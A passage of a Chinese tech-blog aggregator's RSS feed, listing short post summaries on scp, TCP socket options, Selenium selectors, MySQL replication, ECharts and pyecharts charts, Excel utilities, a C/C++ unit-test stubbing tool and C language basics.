      <guid>https://bchobby.github.io/posts/907f1e6a8194dc211c022a7a49c7d53b/</guid>
      <description> SCP 命令 参考资料：https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/scp.html&#xA;上传： 上传文件 scp /Users/liweiwei1419/app/nacos-server-1.4.1.tar.gz root@192.168.47.128:/opt 上传文件夹 scp -r /Users/liweiwei1419/Downloads/2-基本命令 root@192.168.47.128:/opt 下载： 1. 把虚拟机里面的文件下载到本地 Mac 电脑（复制一个文件） 注意：复制一个文件&#xA;scp root@192.168.47.128:/opt/jdk-17_linux-x64_bin.tar.gz /Users/liweiwei1419/Downloads/下载/ 2. 把虚拟机里面的文件下载到本地 Mac 电脑（复制文件夹） 注意：递归复制文件夹（-r 参数）&#xA;scp -r root@192.168.47.128:/opt/jdk-17 /Users/liweiwei1419/Downloads/下载/ </description>
    </item>
    <item>
      <title>Unity3D网络游戏实战——深入了解TCP，解决暗藏问题</title>
      <link>https://bchobby.github.io/posts/b7a17ef01c5c22a6df3c0b4e5e06493f/</link>
      <pubDate>Thu, 04 Nov 2021 22:49:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7a17ef01c5c22a6df3c0b4e5e06493f/</guid>
      <description> 前言 这一章基本属于科普章节，相信看到这篇文章的人也学习过计算机网络，所以很多基础知识，比如三握四挥这些就不多说了。&#xA;5.3常用TCP参数 5.3.1ReceiveBufferSize 指定了操作系统读缓冲区的大小，默认值8192。缓冲区满了，发送端会暂停发送数据，较大的缓冲区可以减少发送短暂停的概率，提高效率。&#xA;5.3.2SendBufferSize 指定操作系统写缓冲区的大小，默认值也是8192，设定的大一点也比较好~&#xA;5.3.3NoDelay 默认情况TCP会使用Nagle算法发送数据，因为TCP/IP协议会给用户数据添加一些头部信息。比如hello，加上IP头部和TCP头部分别20Byte，就是45Byte。但是如果分开发h/e/l/l/o就是205Byte。&#xA;Nagle算法就是不会立马发送数据，而是积攒到了一定数量再将其组成一个较大的数据报发送。&#xA;5.3.4TTL 表示一个IP数据包的能够经过的最大路由器跳数，防止在网络中无限循环和收发。如果偏远地区经常收不到，就socket.ttl=较大的数字&#xA;5.3.5ReuseAddress 端口复用，可以让同一个端口被多个socket使用。可以用于重启服务器的时候使用。&#xA;5.3.6LingerState 设置套接字保持连接的时间。如果设为0，就会一直等到数据发完才关闭连接。设为10，就等10s再关闭。&#xA;但是过多的TIME_WAIT会占用系统资源，有时候需要快速释放资源。&#xA;5.4Close的恰当时机 LingerState可以让程序在关闭连接前发完系统缓冲区的数据，但是这不代表能将所有数据发送出去。&#xA;比如我们自己定义的writeQueue，就算开启LigerState仍然会丢失数据。&#xA;所以我们要用一个isClosing标志位来判断是否还有正在发送的数据，如果没有再调用socket.Close()&#xA;5.5异常处理 对于大部分的Socket API，需要将它们放在try-catch结构里面&#xA;心跳机制 TCP有一个连接检测机制，如果在指定时间内没有数据传送，会给对端发送一个信号，对端收到后，回送一个信号。如果一段时间内没有收到对方的响应，就进行重试，重试几次后，会认为网络不通，关闭socket。&#xA;游戏开发中，TCP的KeepAlive机制很鸡肋，因为一段时间往往代表着2小时。所以我们一般自己实现心跳机制，每隔1分钟向服务端发送PING消息，服务端收到后回应PONG消息，如果很久没有回应就关闭连接。&#xA;缺点：&#xA;在短暂的故障期内，引起良好连接被释放。PING和PONG消息占用了不必要的宽带会让玩家花更多流量 </description>
    </item>
    <item>
      <title>【转】selenium之css定位</title>
      <link>https://bchobby.github.io/posts/487cfb10094eb85bbe0f9a2767492f1a/</link>
      <pubDate>Thu, 04 Nov 2021 20:52:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/487cfb10094eb85bbe0f9a2767492f1a/</guid>
      <description>selenium之css定位&#xA;实在记不住，烂笔头就记一下吧。&#xA;一. 单一属性定位&#xA;1：type selector&#xA;driver.find_element_by_css_selector(‘input’)&#xA;2：id 定位&#xA;driver.find_element_by_css_selector(’#kw’)&#xA;3：class 定位&#xA;driver.find_element_by_css_selector(’.s_ipt’)&#xA;4：其他属性定位&#xA;driver.find_element_by_css_selector(’[name=‘wd’]’)&#xA;driver.find_element_by_css_selector(&#34;[type=‘text’]&#34;)&#xA;二.组合属性&#xA;1：id组合属性定位&#xA;driver.find_element_by_css_selector(“input#kw”)&#xA;2：class组合属性定位&#xA;driver.find_element_by_css_selector(“input.s_ipt”)&#xA;3：其他属性组合定位&#xA;driver.find_element_by_css_selector(“input[name=‘wd’]”)&#xA;4：仅有属性名，没有值也可以&#xA;driver.find_element_by_css_selector(“input[name]”)&#xA;5：两个其他属性组合定位&#xA;driver.find_element_by_css_selector(&#34;[name=‘wd’][autocomplete=‘off’]&#34;)&#xA;三.模糊匹配属性值的方法&#xA;1&amp;gt;匹配属性包含so关键字字符串的元素，以符号 * 指明需要模糊匹配。&#xA;driver.find_element_by_css_selector(“input[class *=‘so’]”)&#xA;2&amp;gt;匹配属性值为字符串开头的方法&#xA;driver.find_element_by_css_selector(“input[class^=‘btn’]”)&#xA;3&amp;gt;匹配属性值字符串结尾的方法&#xA;driver.find_element_by_css_selector(“input[class$=‘s_btn’]”)&#xA;四.层级定位&#xA;1：父子层级定位元素&#xA;driver.find_element_by_css_selector(‘form#form&amp;gt;span&amp;gt;input’)#id是form的form下面的span下面的input&#xA;2：伪类定位元素&#xA;driver.find_element_by_css_selector(’#u_sp&amp;gt;a :nth-child(1)’)#id为u_sp的下面的第一个a标签。&#xA;-在冒号前一定要有空格，否则就定位不到期望的元素 -&#xA;3：E :nth-last-child(n)，如字面意思：倒数第几个标签&#xA;4：E :first-child,第一个标签&#xA;5：E :last-child,最后一个标签&#xA;6：E :only-child,唯一的标签&#xA;五.兄弟同级元素&#xA;1.driver.find_element_by_css_selector(“div#div1&amp;gt;input + a”)&#xA;2.driver.find_element_by_css_selector(“div#div1&amp;gt;input + a + img”)&#xA;3.driver.find_element_by_css_selector(“div#div1&amp;gt;input + * + img”)&#xA;4.driver.find_element_by_css_selector(“ul#recordlist&amp;gt;p~li”)&#xA;六.多元素选择器，CSS定位方式支持多元素选择器，也就是一次可以同时选择多个相同的标签，也可以同时选择多个不同的标签，不同标签间用用英文的逗号(,)隔开。</description>
    </item>
    <item>
      <title>ks3云存储本地上传限速</title>
      <link>https://bchobby.github.io/posts/8eba4861893cbf46f687eea4ffe67f94/</link>
      <pubDate>Thu, 04 Nov 2021 17:01:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8eba4861893cbf46f687eea4ffe67f94/</guid>
      <description>貌似python sdk中没有这一项，使用jar工具配置文件的maxNetThroughput解决&#xA;参考&#xA;https://docs.ksyun.com/documents/895&#xA;下载解压&#xA;wget https://ks3tools-online.ks3-cn-beijing.ksyuncs.com/tools/release/KS3-import-tool-2.1.5-dist.zip 编写配置文件&#xA;taskName=hanguptool threadsNum=10 # 选项包括：local/ url / ks3 / oss / bos / qiniu /upyun /aws /cos / azure srcType=local #srcType=local时，AK/SK为空即可，如果填写则会被系统忽略 srcAccessKey= srcSecretKey= # 源endpoint，srcType=local时为空即可，如果填写则会被系统忽略 srcDomain= srcBucket= #若srcType为local，此处应填上传文件的绝对路径，文件夹请以/结尾 srcPrefix=必填 dstAccessKey=必填 dstSecretKey=必填 # 目标endpoint dstDomain=必填 dstBucket=必填 dstPrefix=local/ # (KB/s) &amp;lt;0 表示不设限 maxNetThroughput=20480 # 文件权限:Private/PublicRead cannedAcl=Private # 该参数仅当srcType=ks3,oss,cos时有效。该参数为true时，会将源KS3对象的ACL复制到目标对象上，且cannedAcl选项将会被忽略。 useSrcAcl=false # 存储类型:STANDARD/STANDARD_IA/ARCHIVE storageType=STANDARD #该参数为true时，在start模式下且源站是ks3 会对比scr&amp;lt;-&amp;gt;dst的md5 一致时跳过上传。 skipDstExistFile=false #过滤器开关 filterEnable=false #url文件支持range下载 urlRangeDownload=true #文件名字包含的子符,多个用逗号分隔 fileNameInclude= #文件名字不包含的子符,多个用逗号分隔 fileNameExclude= #文件修改时间范围,以#分割，时间格式为yyyy-MM-dd HH:mm:ss， 如2005-01-12 00:00:00#2016-01-12 00:00:00 modifyTimeRange= #是否开启https useHttps =true #使用分块上传配置 #分块上传文件阈值,大于该值,使用分块传输 singleFileSize=209715200 #分块大小 partSize=104857600 #单文件文件分块传输并发数 uploadPartPoolSize=5 #增量模式 单位秒 incrementalMode=false incrementalModeInterval=900 #使用分时限流配置 # (KB/s) &amp;lt;0 表示不设限 #不在区间内的速度为maxNetThroughput # maxNetThroughputRange= 1000#2000#3000 # maxNetThroughputTimeRange= 11:50:00-15:48:50#15:49:00-15:49:50#15:50:00-15:51:50 运行</description>
    </item>
    <item>
      <title>打开wireshark后没有接口解决办法</title>
      <link>https://bchobby.github.io/posts/bbf966971b94a11dfa194fc54664056f/</link>
      <pubDate>Thu, 04 Nov 2021 09:36:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbf966971b94a11dfa194fc54664056f/</guid>
      <description>打开wireshark后没有接口解决办法 现象如下&#xA;管理员身份运行cmd，重启NPF（Netgroup Packet Filter 网络数据包过滤器）服务&#xA;然后再用管理员身份运行wireshark，可以看到出现了所有网卡设备</description>
    </item>
    <item>
      <title>看完 Python3.10 的新特性，我决定仍不更新</title>
      <link>https://bchobby.github.io/posts/c4efa854d0f7ae117eabbab6c558c410/</link>
      <pubDate>Thu, 04 Nov 2021 07:00:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4efa854d0f7ae117eabbab6c558c410/</guid>
      <description>Python3.10 在 2021 年的 10 月 3 号发布，目前已经过去 1 个月了，关于它的新特性相信大家已经有所耳闻，不过我决定仍然不更新，目前我在用的版本是 Python3.8，没有任何不爽。下面说一说我不更新的理由。&#xA;第一、相关的库可能还未跟进 如果你更新到了最新版本，已有的代码能否在不修改的情况下仍然可以正常运行？是首先要考虑的问题。&#xA;Python 的第三方库都是基于开源志愿者的劳动，他们免费做着非常有价值的工作，而且适配新的 Python 版本都需要时间。此外，由于升级涉及许多不同的群体，协调和发布需要更多时间。&#xA;第二、很多新特性没使用价值 盘点一下 Python3.10 的那些没什么用的新特性（个人观点，可以留言来喷）：&#xA;1、with 可以加括号了 比如：&#xA;with ( CtxManager1() as example1, CtxManager2() as example2, CtxManager3() as example3, ): ... 这一点，我基本用不到，也不清楚什么样的情况需要这样写。要是有多个上下文，我就串着多写几个就是了，要是 example1 和 example2 有关系，我可以嵌套：&#xA;with CtxManager1() as example1: with CtxManager2() as example2: ... ... 这样写不是层次更清晰吗？&#xA;2、match case 就是花花肠子 Python3.10 新增了 match 和 case 软关键字。什么是软关键字？就是虽然是关键字，但是可以作为变量名，虽然如此，你肯定也不愿意让 match 成为你的变量名了，因为这样也是不会报错的：&#xA;match match: #后一个 match 是变量名称 case case: &amp;lt;action&amp;gt; 3.</description>
    </item>
    <item>
      <title>echarts 散点图</title>
      <link>https://bchobby.github.io/posts/e86d3d1761a5aebaedf0787d9350f6a0/</link>
      <pubDate>Wed, 03 Nov 2021 21:30:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e86d3d1761a5aebaedf0787d9350f6a0/</guid>
      <description>echarts 散点图 官网：Documentation - Apache ECharts&#xA;******************** 配置属性&#xA;option = { xAxis: { data: [&#39;Sun&#39;, &#39;Mon&#39;, &#39;Tue&#39;, &#39;Wed&#39;, &#39;Thu&#39;, &#39;Fri&#39;, &#39;Sat&#39;] }, yAxis: {}, series: [ { type: &#39;scatter&#39;, //type: scatter表示散点图 data: [220, 182, 191, 234, 290, 330, 310] } ] }; 基本属性&#xA;id：组件id，默认不指定 name：系列名称 type：series图表类型，常用值：bar（柱形图）、line（折线图）、pie（饼图）、scatter（散点图） colorBy: series（同一系列颜色相同）、data（同一维度颜色相同） legendHoverLink：鼠标滑过时legend（图标）是否高亮，默认true coordinateSystem：series使用的坐标系，可选值（cartesian2d，直角坐标系，默认）、polar（极坐标系） cursor：鼠标悬浮时的鼠标样式 xAxisIndex：x轴的index，单个图表实例中有多个x轴时使用 yAxisIndex：y轴的index，单个图表实例中有多个y轴时使用 polarIndex：极坐标轴index，单个图表实例中有多个polar时使用 geoIndex：地理坐标系的index，单个图表实例中存在多个地理坐标系时使用 calendarIndex：日历坐标系的index，单个图表实例中存在多个日历坐标系时使用 symbol：标记的图形，可选值：circle、emptyCircle、rect、roundRect、image://url、path://等 symbilSize：标记大小 symbolRotate：标记的旋转角度 symbolKeepAspect：symbol为path://时，是否在缩放时保持长宽比，默认false symbolOffset：标记偏移量，如：[0,0] large：是否开启大数据量优化，默认false largeThreshold：开启绘制优化的阈值，默认2000 progressive：渐进式渲染时每一帧绘制图形数量，0表示不启用渐进式渲染，默认400 progressiveThreshold：启用渐进式渲染的图形数量阈值，默认2000 dimensions：数据维度 encode：数据映射规则 seriesLayoutBy：数据映射方式，可选值：column（默认）、row datasetIndex：数据集索引 dataGroupId：数据组id data：series中使用的数据，一般在数据集（dataset）中设置数据，实现数据与配置分离 clip：是否裁剪超出坐标系部分的图形 zlevel：柱状图所有图形的zlevel值，用于canvas分层，数值大的在上面 z：柱状图组件的所有图形的z值，数值大的在上面，优先级比zlevel低 silent：图形是否不响应和触发鼠标事件，默认false（响应并且触发鼠标事件） 动画属性</description>
    </item>
    <item>
      <title>办公自动化：轻松提取PDF页面数据，并生成Excel文件（代码实战）</title>
      <link>https://bchobby.github.io/posts/745ae8485bc0c911710cbf2be442fd80/</link>
      <pubDate>Wed, 03 Nov 2021 20:30:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/745ae8485bc0c911710cbf2be442fd80/</guid>
      <description>发现网上有专门做文档格式转换的网站，不过是要充会员才可以。今天来做一篇PDF转换成Excel文档的代码实战，希望大佬喜欢，哈哈，话不多说，马上进入实战环节。&#xA;【阅读全文】&#xA;首先，我们一如既往的介绍一下需要用到的第三方库。&#xA;import pdfplumber # 专门处理PDF文档格式的文件对象 import pandas as pd # 数据处理库，常见的DtaFrame、Series数据对象处理 然后，再把相应的PDF数据提取出来并且保存在DataFrame数据对象中。&#xA;# 打开PDF文件、得到PDF数据文件对象 pdf_obj = pdfplumber.open(&#39;data.pdf&#39;) # 这里我们以获取第一页的PDF数据为例 page_1 = pdf_obj.pages[0] # 从得到的第一页数据中提取表格数据 data_table = page_1.extract_table() # 将提取到的数据表格转换为DataFrame数据对象 data_frame = pd.DataFrame(data_table) # 打印查看DataFrame数据 print(data_frame) 得到DataFrame数据对象之后，需要进行数据处理的话可以参考前面的文章DataFrame数据处理相关的知识点。&#xA;最后，将准备好的DataFrame数据对象保存成Excel格式的数据文件就大功告成啦。&#xA;writer = pd.ExcelWriter(&#39;C:\\data.xlsx&#39;) # 设置文档路径 data_frame.to_excel(writer, index=None, startrow=1, encoding=&#39;utf-8&#39;,sheet_name=&#39;数据统计&#39;) # 设置Excel对象 ws = writer.sheets[&#39;数据统计&#39;] # 写入工作表名称 ws.write_string(0, 0, &#39;我是一个标题&#39;) # 添加标题 writer.save() # 保存 【往期精彩】&#xA;● sched 模块中巨好用的轻量级定时任务神器scheduler！&#xA;● 不用再使用命令行打包成exe，有人写出了UI应用，可视化UI界面对python程序进行打包的方法！</description>
    </item>
    <item>
      <title>「Java工具类」EasyExcelUtil工具类 excel导入导出工具类 阿里EasyExcel简单封装新版强大不再需要poi</title>
      <link>https://bchobby.github.io/posts/4612935561dfc55373cc97bb27289591/</link>
      <pubDate>Wed, 03 Nov 2021 18:20:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4612935561dfc55373cc97bb27289591/</guid>
      <description>介绍语&#xA;本号主要是Java常用关键技术点，通用工具类的分享；以及springboot+springcloud+Mybatisplus+druid+mysql+redis+swagger+maven+docker等集成框架的技术分享；datax、kafka、flink等大数据处理框架的技术分享。文章会不断更新，欢迎码友关注点赞收藏转发！&#xA;望各位码友点击关注，冲1000粉。后面会录制一些视频教程，图文和视频结合，比如：图书介绍网站系统、抢购系统、大数据中台系统等。技术才是程序猿的最爱，码友们冲啊&#xA;如果码友觉得代码太长，可以从头到尾快速扫射一遍，了解大概即可。觉得有用后再转发收藏，以备不时之需。&#xA;正文：&#xA;excel导入导出工具类，今天整理出来了，看了下项目中用的居然还是1.x版本，整理时升级到easyexcel 3.0.2最新版本，没想到之前封装的一堆代码都不需要，现在这个版本太好用了。大家可以直接使用easyexcel的方法，封装多一层是为了项目更方便使用而已。&#xA;例子1 读测试&#xA;@Test public void readTest(){ // 读取测试 String readFile = &#34;D:\\Workspace\\IdeaProjects\\jtool-common\\student信息表2.xlsx&#34;; List&amp;lt;Student&amp;gt; data = EasyExcelUtil.read(readFile, Student.class); printList(data); } private static void printList(List&amp;lt;?&amp;gt; datas) { int i = 0; for (Object ob : datas) { System.out.println(i++ + &#34;=&amp;gt;&#34; + ob); } } ​ // 控制台打印 17:55:58.240 [main] INFO - 解析完成！读取10行 0=&amp;gt;Student(name=张1, age=12, address=深圳0栋大楼, birthday=Wed Nov 03 12:17:46 GMT+08:00 2021) 1=&amp;gt;Student(name=张1, age=13, address=深圳1栋大楼, birthday=Wed Nov 03 12:17:46 GMT+08:00 2021) 2=&amp;gt;Student(name=张1, age=14, address=深圳2栋大楼, birthday=Wed Nov 03 12:17:46 GMT+08:00 2021) 3=&amp;gt;Student(name=张1, age=15, address=深圳3栋大楼, birthday=Wed Nov 03 12:17:46 GMT+08:00 2021) 4=&amp;gt;Student(name=张1, age=16, address=深圳4栋大楼, birthday=Wed Nov 03 12:17:46 GMT+08:00 2021) 5=&amp;gt;Student(name=张1, age=17, address=深圳5栋大楼, birthday=Wed Nov 03 12:17:46 GMT+08:00 2021) 6=&amp;gt;Student(name=张1, age=18, address=深圳6栋大楼, birthday=Wed Nov 03 12:17:46 GMT+08:00 2021) 7=&amp;gt;Student(name=张1, age=19, address=深圳7栋大楼, birthday=Wed Nov 03 12:17:46 GMT+08:00 2021) 8=&amp;gt;Student(name=张1, age=20, address=深圳8栋大楼, birthday=Wed Nov 03 12:17:46 GMT+08:00 2021) 9=&amp;gt;Student(name=张1, age=21, address=深圳9栋大楼, birthday=Wed Nov 03 12:17:46 GMT+08:00 2021) 例子2 写测试</description>
    </item>
    <item>
      <title>mysql主从复制&amp;mysql&#43;keepalived实现高可用</title>
      <link>https://bchobby.github.io/posts/99e70a69a6f1c48a4493479303bdfebb/</link>
      <pubDate>Wed, 03 Nov 2021 18:03:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99e70a69a6f1c48a4493479303bdfebb/</guid>
      <description>一、mysql主从复制 1. mysql安装 另一篇博客已经介绍mysql的安装教程，请移步：&#xA;https://blog.csdn.net/qq_28197005/article/details/120763590?spm=1001.2014.3001.5501&#xA;2. mysql主从复制配置 2.1 mysql主从复制原理概述 Mysql 中有一种日志叫做 bin 日志（二进制日志）。这个日志会记录下所有修改了数据库的SQL 语句（insert,update,delete,create/alter/drop table, grant 等等）。&#xA;主从复制的原理其实就是把主服务器上的 bin 日志复制到从服务器上执行一遍，这样从服务器上的数据就和主服务器上的数据相同了。&#xA;2.2 主从复制过程 主节点必须启用二进制日志，记录任何修改了数据库数据的事件。从节点开启一个线程（I/O Thread)把自己扮演成 mysql 的客户端，通过 mysql 协议，请求主节点的二进制日志文件中的事件主节点启动一个线程（dump Thread），检查自己二进制日志中的事件，跟对方请求的位置对比，如果不带请求位置参数，则主节点就会从第一个日志文件中的第一个事件一个一个发送给从节点。从节点接收到主节点发送过来的数据把它放置到中继日志（Relay log）文件中。并记录该次请求到主节点的具体哪一个二进制日志文件内部的哪一个位置（主节点中的二进制文件会有多个，在后面详细讲解）。从节点启动另外一个线程（sql Thread ），把 Relay log 中的事件读取出来，并在本地再执行一次。 2.3 配置前准备 准备的服务器列表：&#xA;主节点：192.168.159.129从节点1: 192.168.159.128从节点2: 192.168.159.130&#xA;采用一主两从的架构部署，三台服务器均为虚拟机，同样也可以在一台服务器上部署主从复制关系，但是生产中不建议； 2.4 主从节点配置 在配置文件/etc/my.cnf中加入以下配置：&#xA;log-bin = mysql-bin # 开启二进制日志，主节点必须要开启，从节点可以不开。 server-id = 129 # 服务ID号，主从节点都需要，且要唯一，一般配置为IP地址后面几位 2.5 登录数据库配置 2.5.1 主库配置 需要创建一个用户，用户需要授权，用于从库来同步数据。由于我直接用的root用户，该步骤省略；&#xA;GRANT REPLICATION SLAVE ON *.* to &#39;mysync&#39;@&#39;%&#39; identified by &#39;q123456&#39;; 配置完成之后，登录主库，查看目前主库的信息show master status;：</description>
    </item>
    <item>
      <title>@Transactional导致 dynamic-datasource-spring-boot-starter失效原因分析</title>
      <link>https://bchobby.github.io/posts/5004e1772698a1f738e53bd99e0ff4fa/</link>
      <pubDate>Wed, 03 Nov 2021 17:40:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5004e1772698a1f738e53bd99e0ff4fa/</guid>
      <description>环境：controller --&amp;gt;Aservice–&amp;gt;Bservice–&amp;gt;Bdao(A表示A数据源，B表示B数据源)&#xA;Aservcie使用Transactional注解&#xA;1、dynamic-datasource@DB切面是可以将数据源信息push到DynamicDataSourceContextHolder类的ThreadLocal&amp;lt;Deque&amp;gt; LOOKUP_KEY_HOLDER中&#xA;2、如果controller调用service，且controller --&amp;gt;Aservice–&amp;gt;Bservice–&amp;gt;Bdao(A表示A数据源，B表示B数据源)，当且仅当Aservice使用@Transactional进行事物管理时，当controller --&amp;gt;Aservice，此时AbstractPlatformTransactionManager 类调用doBegin(transaction, definition)方法，将执行TransactionSynchronizationManager的ThreadLocal&amp;lt;Map&amp;lt;Object, Object&amp;gt;&amp;gt; resources 加入A数据源&#xA;3、AbstractPlatformTransactionManager 类获取事物时候将会判断事物是否包含数据源，如果有则认为该事物已经存在，将进行事物的类型判断，如果是PROPAGATION_REQUIRES_NEW类型，将创建新事物，新事物将拥有新的数据源持有Holder，默认的话则继承事物&#xA;4、Aservice–&amp;gt;Bservcie虽然可以实现1中所述，但是Bservcie–&amp;gt;Bdao时，DataSourceUtils执行doGetConnection时候，将会执行TransactionSynchronizationManager.getResource(dataSource)获取事物数据源A（源于2的结论），此时多数剧源形同虚设，失效，&#xA;方案：&#xA;1、Bservcie使用PROPAGATION_REQUIRES_NEW 类型事物，创建新事物 原因为上述3&#xA;2、使用Aservcie 的@Transactional替换成@DSTransactional注解即可，原因如下：&#xA;dynamic-datasource-spring-boot-starter启动时，进行DynamicDataSourceAutoConfiguration初始化，aop自定义事物，此时不走spring事物规则，将使用自定义事物，这个看起来很简单的事物规则，规避了复杂业务逻辑下的不便，代码如下：&#xA;@Slf4j public class DynamicLocalTransactionAdvisor implements MethodInterceptor { @Override public Object invoke(MethodInvocation methodInvocation) throws Throwable { if (!StringUtils.isEmpty(TransactionContext.getXID())) { return methodInvocation.proceed(); } boolean state = true; Object o; String xid = UUID.randomUUID().toString(); TransactionContext.bind(xid); try { o = methodInvocation.proceed(); } catch (Exception e) { state = false; throw e; } finally { ConnectionFactory.</description>
    </item>
    <item>
      <title>pyecharts 饼图绘制</title>
      <link>https://bchobby.github.io/posts/55400dcbfca0fec4f693c6d404655bfb/</link>
      <pubDate>Wed, 03 Nov 2021 13:57:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55400dcbfca0fec4f693c6d404655bfb/</guid>
      <description>关于饼图的绘制 基本的饼图环形图玫瑰饼图 基本的饼图 import pandas as pd import numpy as np from pyecharts.charts import * import pyecharts.options as opts #数据 cate = [&#39;Apple&#39;, &#39;Huawei&#39;, &#39;Xiaomi&#39;, &#39;Oppo&#39;, &#39;Vivo&#39;, &#39;Meizu&#39;] data = [123, 153, 89, 107, 98, 23] pie=Pie() pie.add(&#34;&#34;,[list(z) for z in zip(cate,data)] #数据标签展示 ,label_opts=opts.LabelOpts( position=&#34;outside&#34;, formatter=&#34;{d}%&#34;,) # 设置其他配置项 pie.set_global_opts( #标题配置项 title_opts=opts.TitleOpts(title=&#34;饼图&#34;,pos_left=&#39;70%&#39;), # 图例配置项 legend_opts=opts.LegendOpts( type_=&#34;scroll&#34; , pos_top=&#34;20%&#34; , pos_left=&#34;80%&#34; , orient=&#34;vertical&#34; ), ) 环形图 pie.add(&#34;&#34;,[list(z) for z in zip(cate,data)] # 离心距离 环形图 ,radius=[&#34;</description>
    </item>
    <item>
      <title>工程师必备：C/C&#43;&#43;单元测试万能插桩工具</title>
      <link>https://bchobby.github.io/posts/f1fbd2d3fc0721eed29dc3b60635536d/</link>
      <pubDate>Tue, 02 Nov 2021 22:11:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1fbd2d3fc0721eed29dc3b60635536d/</guid>
      <description>关注、星标公众号，直达精彩内容&#xA;来源：腾讯技术工程&#xA;研发效能是一个涉及面很广的话题，它涵盖了软件交付的整个生命周期，涉及产品、架构、开发、测试、运维，每个环节都可能影响顺畅、高质量地持续有效交付。在腾讯安全平台部实际研发与测试工作中我们发现，代码插桩隔离是单元测试工作中的一个强需求，然而业界现有 C/C++插桩工具由于使用上的局限性，运行效率和体验仍有很大改善空间。本文介绍了团队基于研效优化实践而自研的动态插桩工具，旨在实现单元测试的轻量化运行，提高代码覆盖率，从而助力研发团队的效能提升。&#xA;问题&amp;amp;思路 目前存在的 C/C++插桩工具，基本上都有各种使用上的局限，比如流行的 gmock，只能对 C++的虚函数进行插桩替换，针对非虚函数，则需要先对被测代码进行改造；同时对于系统接口，C 风格的第三方库代码，也无能为力。&#xA;如果可以绕开编译器，直接从底层入手，比如做机器指令修改，则可以不受语法及编译器的束缚，直接达到目的，这样在使用中就 几乎不受限制。&#xA;原理 C/C++语言编译后的可执行体，其实就是一个个的函数实现，每个函数的开头就是它的入口。一个函数 A 调用另一个函数 B，就是代码在执行过程中，控制流从函数 A 的某处跳到了函数 B 的开头，所以如果想用一个新的函数 C 取代函数 B，可以在函数 B 的开头用机器码的形式写入如下等价逻辑：&#xA;MOVQ ADDRESS_OF_C %RAX //将函数C的地址放到寄存器RAX JMPQ *RAX //无条件跳转到RAX所指向的位置 这样，当控制流从函数 A 进入函数 B 的开始位置的时候，即会执行上述代码，从而直接跳转到 C 的开头处。其最终效果，是所有对函数 B 的调用，都如同直接调用了函数 C。&#xA;基于上述原理，被插桩的代码包括第三方库，如 MySql、其他同事未完成的模块、甚至是操作系统的 API 接口，如 read、select 等；&#xA;同时，桩函数不仅可以模拟原函数的返回值，实际上它作为一个普通的 C 函数，对原函数有完全的操作能力，比如可以访问传递给原函数调用真实的参数、C++成员变量（针对对成员函数的模拟），给定任意的返回值，访问全局变量、对调用进行计数等。&#xA;实际实现中，考虑到不同测试用例间的互不干扰，除了能执行函数替换，还需要在执行完一个测试时还原现场。这些具体细节可以直接参考代码。&#xA;使用 对全局函数插桩 原始函数：&#xA;int global(int a, int b) { return a + b; } 对应的桩函数：&#xA;int fake_global(int a, int b) { //校验参数正确性，确定被测代码传入了正确的值 assert(a == 3); assert(b == 2); //给一个返回值，配合被测代码走特定分支 return a - b; } 插桩示例：</description>
    </item>
    <item>
      <title>通用算法总结</title>
      <link>https://bchobby.github.io/posts/94c75cec12ec8fb819e865cb2e7192fc/</link>
      <pubDate>Tue, 02 Nov 2021 19:47:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94c75cec12ec8fb819e865cb2e7192fc/</guid>
      <description>Hash算法 常见Hash算法总结</description>
    </item>
    <item>
      <title>C语言最重要的知识点</title>
      <link>https://bchobby.github.io/posts/9b4c4c6c157291d1459caa6b88d3a50b/</link>
      <pubDate>Tue, 02 Nov 2021 18:36:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b4c4c6c157291d1459caa6b88d3a50b/</guid>
      <description>总体上必须清楚的:&#xA;1)程序结构是三种: 顺序结构 、选择结构(分支结构)、循环结构。&#xA;2)读程序都要从main()入口, 然后从最上面顺序往下读(碰到循环做循环,碰到选择做选择)，有且只有一个main函数。&#xA;3)计算机的数据在电脑中保存是以二进制的形式. 数据存放的位置就是它的地址.&#xA;4)bit是位 是指为0 或者1。 byte 是指字节, 一个字节 = 八个位.&#xA;概念常考到的：&#xA;1、编译预处理不是C语言的一部分，不占运行时间，不要加分号。C语言编译的程序称为源程序，它以ASCII数值存放在文本文件中。&#xA;2、define PI 3.1415926; 这个写法是错误的，一定不能出现分号。&#xA;3、每个C语言程序中main函数是有且只有一个。&#xA;4、在函数中不可以再定义函数。&#xA;5、算法：可以没有输入，但是一定要有输出。&#xA;6、for循环中for语句写成 for（i=0; i&amp;lt;100; i++）; ，这个写法是有问题的，for的后面如果出现分号，相当于for循环体是空的。&#xA;7、break可用于循环结构和switch语句。&#xA;8、逗号运算符的级别最低，赋值的级别倒数第二。&#xA;第一章 C语言的基础知识&#xA;第一节、对C语言的基础认识&#xA;1、C语言编写的程序称为源程序，又称为编译单位。&#xA;2、C语言书写格式是自由的，每行可以写多个语句，可以写多行。&#xA;3、一个C语言程序有且只有一个main函数，是程序运行的起点。&#xA;第二节、熟悉vc++&#xA;1、VC是软件，用来运行写的C语言程序。&#xA;2、每个C语言程序写完后，都是先编译，后链接，最后运行。（.c—.obj—.exe）这个过程中注意.c和.obj文件时无法运行的，只有.exe文件才可以运行。&#xA;第三节、标识符&#xA;1、标识符&#xA;合法的要求是由字母，数字，下划线组成。有其它元素就错了。&#xA;并且第一个必须为字母或则是下划线。第一个为数字就错了&#xA;2、标识符分为关键字、保留标识符、用户标识符。&#xA;关键字：不可以作为用户标识符号。main define scanf printf 